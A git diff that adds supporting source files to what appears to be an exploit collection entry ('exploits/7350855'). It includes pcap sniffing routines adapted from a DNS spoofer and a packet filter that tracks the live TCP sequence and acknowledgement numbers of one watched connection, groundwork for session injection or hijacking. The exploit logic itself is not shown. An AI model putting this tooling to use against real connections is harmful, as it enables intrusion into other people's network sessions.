+ +long int net_rbuf (int fd, char **dst); +#define NET_BSIZE 4096 /* blocksize for pre-allocation */ + + +/* net_rbuft + * + * read `dsize' bytes into `dst' from `fd', with timeout + * + * return 1 on success + * return -1 on failure + */ +int net_rbuft (int fd, char *dst, unsigned long int dsize); + + +/* net_rlinet + * + * read a line from socket descriptor with timeout to buffer + * if sec = 0, then only a continuous stream of data is required, not + * an overall timeout. + * + * return -1 on timeout + * return 0 on connection close + * return length of readen line (including '\n') + * + * net_rlineta + * same as net_rlinet, but allocs the memory itself + */ + +int net_rlineta (int fd, char **buf, int sec); +int net_rlinet (int fd, char *buf, int bufsize, int sec); + + +/* net_tline + * + * return length if string `buf' with a maximum length of `bufsize' + * contains '\n' + * + * return -1 if no '\n' in string + */ + +int net_tline (char *buf, int bufsize); + + +/* net_write + * + * print a formatted string to a socket, see syntax of printf + * + * return in any case + */ + +void net_write (int fd, const char *str, ...); + + +/* net_printip + * + * print an IP address stored in the struct in_addr pointed to by `ia' to a + * string `str' with a maximum length of `len'. + * + * return 0 on success + * return 1 on failure + * + * net_printipa behaves the same way, except it allocates memory and let + * `*str' point to the string + */ + +int net_printip (struct in_addr *ia, char *str, size_t len); +int net_printipa (struct in_addr *ia, char **str); + + +#endif + diff --git a/exploits/7350855/network.o b/exploits/7350855/network.o new file mode 100644 index 0000000..5d3084e Binary files /dev/null and b/exploits/7350855/network.o differ diff --git a/exploits/7350855/none.tgz b/exploits/7350855/none.tgz new file mode 100644 index 0000000..161a9da Binary files /dev/null and b/exploits/7350855/none.tgz differ diff --git a/exploits/7350855/packet.c b/exploits/7350855/packet.c new file mode 100644 index 0000000..686ad81 --- /dev/null +++ b/exploits/7350855/packet.c @@ -0,0 +1,487 @@ +/* packet handling functions (originally from zodiac) + * + * packet handling and queueing routines + * by scut + * + * -Smiler + * Changed pq_grind to remove link layer. Changed other functions to + * accept ip packets instead of ethernet packets. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "packet.h" +#include "sniff.h" + + +struct in_addr localip; + + +/* watching data. should be set before any pq_* functions are active + */ +pthread_mutex_t watch_mutex = PTHREAD_MUTEX_INITIALIZER; + +int watch = 0; +struct in_addr watch_ipsrc, + watch_ipdst; +unsigned long int watch_src_seq, + watch_dst_seq; +unsigned long int watch_src_ack, + watch_dst_ack; +unsigned short int watch_sport, + watch_dport; + +/* pq_grind + * + * grind the packets received from the sniffer thread, stripping ethernet + * header, filter non-TCP packets, add them to the packet queue, then raise + * the correct semaphore. + * + * `sinfo' gives information about the sniffing thread and the packet queue, + * `pkthdr' is from the pcap handler and `pkt' contains the real packet data. + */ + +void +pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, u_char *pkt) +{ + sniff_info * sinfo = (sniff_info *) sinfov; + + + if (sinfo->device->linktype == DLT_EN10MB) { + if (((eth_hdr *) pkt)->ether_type != htons (ETHERTYPE_IP)) + goto pq_glend; + } + pkt += sinfo->device->linkhdrlen; + pkthdr->caplen -= sinfo->device->linkhdrlen; + + if (pq_filter (pkt, pkthdr->caplen) == 0) + goto pq_glend; + + /* update connection table + */ +#if 0 + /* compute real IP/TCP packet size and append it to the right queue + */ + if (pq_add (pkt, pkthdr->caplen, &pkthdr->ts, sinfo->pq_thd)) + goto pq_glend; +#endif + + /* notify the corresponding thread about the new packet in it's queue + */ + pq_notify (sinfo->pq_thd); + +pq_glend: + return; +} + + +/* pq_add + * + * append a packet queue description (pq_desc) with packet content `p_data' to + * the packet queue associated with thread `thd'. + * the packet data is copied, so the packet data pointer `p_data' has to be + * freed by the calling function. the time value `rcv_time' is the time when the + * packet was sniffed from the pcap library. + * + * return 0 on success + * will never fail tho ;-D + */ + +int +pq_add (unsigned char *p_data, unsigned long int p_size, + struct timeval *rcv_time, pq_thread *pqt) +{ + pq_desc * np; /* new packet in queue */ + + + np = xcalloc (1, sizeof (pq_desc)); + + /* initialize the packet mutex and get hold of it + */ + pthread_mutex_init (&np->pq_mutex, NULL); + pthread_mutex_lock (&np->pq_mutex); + + /* get memory for the packet + */ + np->p_len = p_size; + np->p_data = xcalloc (1, np->p_len); + + /* copy packet data, create hash and copy time values + */ + memcpy (np->p_data, p_data, np->p_len); + np->next = NULL; + memcpy (&np->rcv_time, rcv_time, sizeof (struct timeval)); + + /* now add the packet to the thread queue + */ + pthread_mutex_lock (&pqt->pq_mutex); + + /* no packet added yet, then just modify the root pointer, else + * append the packet + */ + if (pqt->root == NULL) { + pqt->root = np; + } else { + pq_desc *cur = pqt->root; /* help pointers to step through the list */ + pq_desc *last = pqt->root; + + /* cycle through linked list, until end is reached + */ + while (cur != NULL) { + last = cur; + + pthread_mutex_lock (&last->pq_mutex); + cur = last->next; + pthread_mutex_unlock (&last->pq_mutex); + } + + pthread_mutex_lock (&last->pq_mutex); + last->next = np; + pthread_mutex_unlock (&last->pq_mutex); + } + + pthread_mutex_unlock (&pqt->pq_mutex); + pthread_mutex_unlock (&np->pq_mutex); + + /* added packet successfully + */ + return (0); +} + + +/* pq_handle + * + * main (threaded) packet processor routine + */ + +void * +pq_handle (pq_thread *pq) +{ + pq_desc *packet; /* packet pointer */ + ip_hdr *ip; /* IP packet header pointer */ + tcp_hdr *tcp; /* TCP packet header pointer */ + unsigned char *data; /* packet data pointer :-) */ + char *p_data; + + + do { + unsigned int psize; + + do { + sem_wait (&pq->pq_active); /* wait for a packet */ + + /* get, unlink and then process the packet + */ + packet = pq_get (pq); + } while (packet == NULL); + + p_data = packet->p_data; + + pq_offset (p_data, &ip, &tcp, &data); + +/* hexdump ("packets-rawdns", (unsigned char *) ip, (packet->p_len - sizeof (eth_hdr))); +*/ + psize = packet->p_len; +// XXX dns_handle (ip, udp, dns, data, psize); + +#if 0 + /* now, if the packet is directed to port 53, we add the id to the queue + * then update the display. but first check whether it is a self-originated + * packet, then skip the whole procedure. + */ + if (udp->uh_dport == htons (53) && dns_tag_check_n (&ip->ip_src, + &ip->ip_dst, htons (udp->uh_sport), htons (udp->uh_dport), + htons (dns->id)) == 0) + { + id_add (ip->ip_src, ntohs (dns->id), &packet->rcv_time); + id_qprint (ms, ms->winid); + } +#endif + + pq_free (packet); + + } while (1); + + return (NULL); +} + + +/* pq_create + * + * create a packet handler + * + * return NULL on failure + * return pointer to pq_thread structure on success + */ + +pq_thread * +pq_create (void) +{ + int n; /* temporary return value */ + pq_thread *pq_new; /* main thread structure of new thread */ + + pq_new = xcalloc (1, sizeof (pq_thread)); + + pthread_mutex_init (&pq_new->pq_mutex, NULL); + pq_new->pq_count = pq_new->pq_curcount = 0; + sem_init (&pq_new->pq_active, 0, 0); + + n = pthread_create (&pq_new->pq_tid, NULL, (void *) pq_handle, (void *) pq_new); + if (n == -1) { + pq_destroy (pq_new); + + return (NULL); + } + + return (pq_new); +} + + +void +pq_destroy (pq_thread *pq) +{ + pthread_mutex_destroy (&pq->pq_mutex); + sem_destroy (&pq->pq_active); + + free (pq); + + return; +} + +/* pq_notify + * + * notify the correct thread using a semaphore + */ + +void +pq_notify (pq_thread *pqt) +{ + /* raise the semaphore + */ + sem_post (&pqt->pq_active); + + return; +} + + +/* pq_get + * + * return one packet from the packet stack pointed to by `pqt'. + * + * return NULL on failure + * return pointer to packet description on success + */ + +pq_desc * +pq_get (pq_thread *pqt) +{ + pq_desc *next; + pq_desc *this = NULL; + + pthread_mutex_lock (&pqt->pq_mutex); + + next = pqt->root; + + if (next != NULL) { + + /* if there is a packet, unlink first one, and shift all + * following packets + */ + pthread_mutex_lock (&pqt->root->pq_mutex); + next = pqt->root->next; + pthread_mutex_unlock (&pqt->root->pq_mutex); + + /* shift packets, we are helding pq_mutex tho :) + */ + this = pqt->root; + pqt->root = next; + + } + + pthread_mutex_unlock (&pqt->pq_mutex); + + return (this); +} + +/* pq_remove + * + * remove the first packet from packet thread queue `thd'. + * + * return in any case + */ + +void +pq_remove (pq_thread *pqt) +{ + pq_desc *next; + + pthread_mutex_lock (&pqt->pq_mutex); + + if (pqt->root != NULL) { + pthread_mutex_lock (&pqt->root->pq_mutex); + next = pqt->root->next; + pthread_mutex_unlock (&pqt->root->pq_mutex); + + pq_free (pqt->root); + pqt->root = next; + } + + pthread_mutex_unlock (&pqt->pq_mutex); + return; +} + + +/* pq_free + * + * free a pq_desc structure with all associated data + */ + +void +pq_free (pq_desc *packet) +{ + /* some sanity checking inside :) + */ + if (packet == NULL) + return; + + /* if data is associated, free it + */ + if (packet->p_data != NULL) { + free (packet->p_data); + } + + /* destroy mutex and free structure + */ + pthread_mutex_destroy (&packet->pq_mutex); + free (packet); + + return; +} + + +/* pq_filter + * + * check wether packet with packet data pointed to by `p_data' is a UDP + * nameserver packet or not + * + * return 1 if it is + * return 0 if it is not + */ + +int +pq_filter (unsigned char *p_data, unsigned long p_size) +{ + int match = 0; + unsigned int iplen; + ip_hdr * ip = NULL; + tcp_hdr * tcp = NULL; + + + if (p_size < (sizeof (ip_hdr) + sizeof (tcp_hdr))) + return (0); + + /* now check if the ip header encloses a udp packet + */ + ip = (ip_hdr *) (p_data); /* caveat here: don't miss brackets ! */ + if (ip->ip_p != IPPROTO_TCP) + return (0); + + iplen = ip->ip_hl << 2; + if (iplen > p_size) /* XXX: is this correct ;) ? */ + return (0); + + + tcp = (tcp_hdr *) (p_data + iplen); + tcp->th_sport = ntohs (tcp->th_sport); + tcp->th_dport = ntohs (tcp->th_dport); + + /* quick and ugly wanted-matching + */ + pthread_mutex_lock (&watch_mutex); + if (tcp->th_sport == watch_sport && + tcp->th_dport == watch_dport && + ip->ip_src.s_addr == watch_ipsrc.s_addr && + ip->ip_dst.s_addr == watch_ipdst.s_addr) + { + match = 1; + } else if (tcp->th_sport == watch_dport && + tcp->th_dport == watch_sport && + ip->ip_src.s_addr == watch_ipdst.s_addr && + ip->ip_dst.s_addr == watch_ipsrc.s_addr) + { + match = 1; + } + + if (watch == 0) + match = 0; + + /* XXX kludge: update seq# here */ + if (match == 1) { + if (ip->ip_src.s_addr == watch_ipsrc.s_addr && + tcp->th_sport == watch_sport) + { + watch_src_seq = ntohl (tcp->th_seq); + watch_src_ack = ntohl (tcp->th_ack); +#ifdef DEBUG + fprintf (stderr, "(%5hu -> %5hu) src #: 0x%08lx | 0x%08lx\n", + tcp->th_sport, tcp->th_dport, + watch_src_seq, watch_src_ack); +#endif + } else if (ip->ip_src.s_addr == watch_ipdst.s_addr && + tcp->th_sport == watch_dport) + { + watch_dst_seq = ntohl (tcp->th_seq); + watch_dst_ack = ntohl (tcp->th_ack); +#ifdef DEBUG + fprintf (stderr, "(%5hu -> %5hu) dst #: 0x%08lx | 0x%08lx\n\n", + tcp->th_sport, tcp->th_dport, + watch_dst_seq, watch_dst_ack); +#endif + } + } + pthread_mutex_unlock (&watch_mutex); + + + return (match); +} + + +/* pq_offset + * + * stupidly calculate offsets for IP, UDP and DNS offsets within a IP data + * block + * + * return nothing + */ + +void +pq_offset (unsigned char *data, ip_hdr **ip, tcp_hdr **tcp, + unsigned char **tcp_data) +{ + size_t ip_len; + + + if (data == NULL) + return; + + *ip = (ip_hdr *) data; + ip_len = (*ip)->ip_hl << 2; + *tcp = (tcp_hdr *) (data + ip_len); + + /* FIXME: assuming stock tcp header */ + *tcp_data = (unsigned char *) (data + ip_len + sizeof (tcp_hdr)); + + return; +} + diff --git a/exploits/7350855/packet.h b/exploits/7350855/packet.h new file mode 100644 index 0000000..78f1404 --- /dev/null +++ b/exploits/7350855/packet.h @@ -0,0 +1,85 @@ +/* snifflib + * + * by scut, smiler + * + */ + +#ifndef Z_PACKET_H +#define Z_PACKET_H + +#include +#include +#include +#include +#include +#include +#include + + +/* packet structures + * + * we tried to be as portable as possible + */ + +typedef struct libnet_ethernet_hdr eth_hdr; +typedef struct libnet_ip_hdr ip_hdr; +typedef struct libnet_udp_hdr udp_hdr; +typedef struct libnet_tcp_hdr tcp_hdr; + + +/* pq_desc + * + * describe one packet within the packet queue. the data is only to be read + * and write if `pq_mutex' is hold. `next' points to the next pq_desc within + * this packet queue, hash is the hash id of the packet (TCP only), `p_data' + * is the actual packet data (at IP level) + */ + +typedef struct pq_desc { + pthread_mutex_t pq_mutex; /* mutex over this structure */ + + struct pq_desc *next; /* pointer to the next packet in the queue */ + struct timeval rcv_time; /* time when the packet was received */ + unsigned long int p_len; /* overall packet length */ + + unsigned char *p_data; /* actual packet data, link layer stripped already */ +} pq_desc; + + +/* pq_thread + * + * describe a) one packet processing thread (tid, semaphore) + * b) packet queue root pointer (linked list of pq_desc structs) + * c) stats for this queue + * + * if the sniffing thread has encountered a packet that it added to this + * packetizing queue, it will raise the `pq_active' :-) + */ + +typedef struct pq_thread { + pthread_t pq_tid; /* thread ID */ + sem_t pq_active; /* new packet semaphore, yeah =) */ + pthread_mutex_t pq_mutex; /* mutex over this structure */ + + unsigned long int pq_count; /* number of packets processed in this queue */ + unsigned long int pq_curcount; /* number of packets currently in this queue */ + pq_desc *root; /* root pointer of the linked list in this queue (NULL for empty) */ +} pq_thread; + +void * pq_handle (pq_thread *pq); +pq_thread * pq_create (void); +void pq_destroy (pq_thread *pq); +pq_desc * pq_get (pq_thread *pqt); +void pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, + unsigned char *pkt); +int pq_add (unsigned char *p_data, unsigned long int p_size, + struct timeval *rcv_time, pq_thread *pqt); +void pq_notify (pq_thread *pqt); +void pq_remove (pq_thread *pqt); +void pq_free (pq_desc *packet); +int pq_filter (unsigned char *p_data, unsigned long p_size); +void pq_offset (unsigned char *data, ip_hdr **ip, tcp_hdr **tcp, + unsigned char **tcp_data); + +#endif + diff --git a/exploits/7350855/packet.o b/exploits/7350855/packet.o new file mode 100644 index 0000000..96311ab Binary files /dev/null and b/exploits/7350855/packet.o differ diff --git a/exploits/7350855/readtest b/exploits/7350855/readtest new file mode 100644 index 0000000..a879b26 Binary files /dev/null and b/exploits/7350855/readtest differ diff --git a/exploits/7350855/readtest.c b/exploits/7350855/readtest.c new file mode 100644 index 0000000..f1618e5 --- /dev/null +++ b/exploits/7350855/readtest.c @@ -0,0 +1,42 @@ + +#include +#include +#include +#include "network.h" + + +int +main (int argc, char *argv[]) +{ + int cfd; + bound * rt; + int len; + unsigned char tbuf[8192]; + + + rt = net_bind (NULL, 2000); + if (rt == NULL) { + perror ("net_bind"); + exit (EXIT_FAILURE); + } + + cfd = net_accept (rt->bs, NULL, 0); + if (cfd <= 0) { + perror ("net_accept"); + exit (EXIT_FAILURE); + } + + /* now deep down to the guts */ + len = 1; + while (len > 0 && 1) { + len = read (cfd, tbuf, sizeof (tbuf)); + printf ("%d\n", len); + } + + close (cfd); + net_boundfree (rt); + + exit (EXIT_SUCCESS); +} + + diff --git a/exploits/7350855/sniff.c b/exploits/7350855/sniff.c new file mode 100644 index 0000000..b8ff924 --- /dev/null +++ b/exploits/7350855/sniff.c @@ -0,0 +1,323 @@ +/* zodiac - advanced dns spoofer + * + * sniffing functions + * + * by scut, smiler + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "packet.h" +#include "sniff.h" + + +extern struct in_addr localip; + + +/* sniff_new + * + * the only function that should be called from outside. set up sniffing + * device, create a new thread, then return. + * open `interface' device for sniffing, tell sniffing thread to use + * `pq_size' packet queues, available through `pq_list'. + * store thread id of new thread in `tid'. + * + * return 0 if thread creation was successful + * return 1 if thread creation failed + */ + +int +sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd) +{ + int n; /* temporary return value */ + sniff_info *sinfo; /* sniff information structure */ + + sinfo = xcalloc (1, sizeof (sniff_info)); + + /* open interface + */ + sinfo->device = sniff_open (interface); + if (sinfo->device == NULL) { + free (sinfo); + + return (1); + } else if (sinfo->device->error == 1) { + return (1); + } + + if (sniff_dev_ip (interface, &localip) != 0) { + free (sinfo); + + return (1); + } + + /* store information into sinfo + */ + sinfo->pq_thd = pq_thd; + + /* and create our neat thread :) + */ + n = pthread_create (tid, NULL, (void *) sniff_handle, (void *) sinfo); + if (n == -1) { + sniff_dev_free (sinfo->device); + free (sinfo); + + return (1); + } + /* successfully created sniffer thread + */ + return (0); +} + +/* sniff_handle + * + * the main sniffing thread, fetching packets from the device, then calling + * the packet grinder `pq_grind' to process the packets + * + * should never return except on error or program exit + */ + +void * +sniff_handle (sniff_info *sinfo) +{ + int n; /* temporary return value */ + pcap_handler grinder; /* pcap handler for the packet grinding function */ + + + fprintf (stderr, "[855] hello world from sniffing thread\n"); + + /* sniff packets forever, until an error appears. pass incoming packets + * to `pq_grind'. + */ + + grinder = (pcap_handler) pq_grind; + + /* loop packets to pq_grind until error, passing sinfo struct for queueing + */ + n = pcap_loop (sinfo->device->pd, -1, grinder, (void *) sinfo); + + /* on error print error message, then free the device and terminate the + * thread + */ + if (n == -1) { + fprintf (stderr, "[855] sniff_handle (pcap_loop): %s\n", + pcap_geterr (sinfo->device->pd)); + } + + return (NULL); +} + + +/* sniff_filter + * + * install a filter `filter' on device `device', with netmask `netmask' + * + * return 0 on success + * return 1 on failure + */ + +int +sniff_filter (s_dev *device, char *filter, bpf_u_int32 netmask) +{ + int n; /* temporary return value */ + struct bpf_program fprog; /* berkeley packet filter program structure */ + + n = pcap_compile (device->pd, &fprog, filter, 1, netmask); + if (n == -1) { + fprintf (stderr, "[855] sniff_filter (pcap_compile): " + "failed to compile bpf program\n"); + return (1); + } + + n = pcap_setfilter (device->pd, &fprog); + if (n == -1) { + fprintf (stderr, "[855] sniff_filter (pcap_setfilter): " + "failed to set bpf on %s\n", device->interface); + return (1); + } + + return (0); +} + +/* sniff_open + * + * open `dev' for sniffing, or just the first sniffable one, if + * dev is NULL. + * + * return NULL on failure + * return pointer sniffing device structure on success + * -smiler + * Added link layer header length detection. + */ + +s_dev * +sniff_open (char *devname) +{ + int n; /* temporary return value */ + s_dev * device; /* sniffing device structure to create */ + char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer for pcap message */ + + /* create new sniffing device structure in s_dev + */ + device = xcalloc (1, sizeof (s_dev)); + + /* check wether to use the first device or a specified device + */ + if (devname == NULL) { + /* due to lame pcap manpage, you should not know that it's static *doh* */ + device->interface = pcap_lookupdev (errorbuf); + if (device->interface == NULL) { + fprintf (stderr, "[855] sniff_open (pcap_lookupdev): %s\n", errorbuf); + device->error = 1; + + return (device); + } + } else { + /* if the interface we have to use is already known just copy it + */ + device->interface = xstrdup (devname); + } + + /* try to open the device found + */ + device->pd = sniff_pcap_open (device->interface); + if (device->pd == NULL) { + device->error = 1; + return (device); + } + + /* now query some information about the device and store them into our struct + */ + n = pcap_lookupnet (device->interface, &device->localnet, + &device->netmask, errorbuf); + if (n == -1) { + device->error = 1; + return (device); + } + + device->linktype = pcap_datalink (device->pd); + if (device->linktype == -1) { + device->error = 1; + return (device); + } + + switch (device->linktype) { + /* not sure about all of these, but they work for me :\ -z */ + case DLT_SLIP: + case DLT_PPP: + case DLT_NULL: + device->linkhdrlen = 4; + break; + case DLT_RAW: + device->linkhdrlen = 0; + break; + case DLT_EN10MB: + default: + device->linkhdrlen = 14; + break; + } + fprintf (stderr, "[855] sniff_open: linkhdrlen = %ld\n", + device->linkhdrlen); + + /* thx random for figuring this putty ;) + */ + sniff_filter (device, "", device->netmask); + + return (device); +} + +/* sniff_pcap_open + * + * securely wraps the pcap_open_live call to catch any errors + * + * return NULL on failure + * return capture descriptor on succes + */ + +pcap_t * +sniff_pcap_open (char *device) +{ + char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer */ + pcap_t * pdes = NULL; /* packet capture descriptor */ + + pdes = pcap_open_live (device, SNAPLEN, /*PROMISC*/ 0, READ_TIMEOUT, errorbuf); + + if (pdes == NULL) { + fprintf (stderr, "[855] sniff_pcap_open (pcap_open_live): %s\n", + errorbuf); + + return (NULL); + } + + return (pdes); +} + +/* sniff_dev_free + * + * close and free a sniffing device + */ + +void +sniff_dev_free (s_dev *device) +{ + pcap_close (device->pd); + if (device->interface) + free (device->interface); + + free (device); + + return; +} + + +/* sniff_dev_ip + * + * get the ip given the name of a device. + * i /hope/ this is portable ;) + * -smiler 991001 + * + * return 0 on success + * return -1 on failure + */ + +int +sniff_dev_ip (const char *dev, struct in_addr *ip) +{ + int ifsock, + i_cnt; + struct ifconf ifc; + struct ifreq *ifr; + char buf[1024]; + + + ifsock = socket (AF_INET, SOCK_DGRAM, 0); + if (ifsock < 0) + return (-1); + + ifc.ifc_len = sizeof (buf); + ifc.ifc_buf = buf; + if (ioctl (ifsock, SIOCGIFCONF, &ifc) < 0) + return (-1); + + i_cnt = ifc.ifc_len / sizeof(struct ifreq); + + for (ifr = ifc.ifc_req; i_cnt ; i_cnt--, ifr++) { + if (strcmp (dev, ifr->ifr_name) == 0) { + memcpy (ip, &((struct sockaddr_in *) &ifr->ifr_addr)->sin_addr, + sizeof (struct in_addr)); + + return (0); + } + } + + return (-1); +} diff --git a/exploits/7350855/sniff.h b/exploits/7350855/sniff.h new file mode 100644 index 0000000..5346d00 --- /dev/null +++ b/exploits/7350855/sniff.h @@ -0,0 +1,44 @@ +/* snifflib + * + * by scut + * + */ + +#ifndef Z_SNIFF_H +#define Z_SNIFF_H + +#include +#include "packet.h" + +#define SNAPLEN 65535 +#define PROMISC 1 +#define READ_TIMEOUT 0 + + +typedef struct s_dev { + int error; /* error flag */ + + pcap_t * pd; /* packet capture descriptor */ + char * interface; /* interface name */ + int linktype; /* link layer type */ + unsigned long int linkhdrlen; /* length of the link layer frame header */ + bpf_u_int32 localnet; /* local network address */ + bpf_u_int32 netmask; /* netmask of local network */ +} s_dev; + + +typedef struct sniff_info { + s_dev * device; /* device structure of the sniffing device */ + pq_thread * pq_thd; /* packet queue list root pointer */ +} sniff_info; + + +int sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd); +void * sniff_handle (sniff_info *sinfo); +s_dev * sniff_open (char *devname); +pcap_t * sniff_pcap_open (char *device); +void sniff_dev_free (s_dev *device); +int sniff_dev_ip (const char *dev, struct in_addr *ip); + +#endif + diff --git a/exploits/7350855/sniff.o b/exploits/7350855/sniff.o new file mode 100644 index 0000000..ac8a2c9 Binary files /dev/null and b/exploits/7350855/sniff.o differ -- cgit v1.3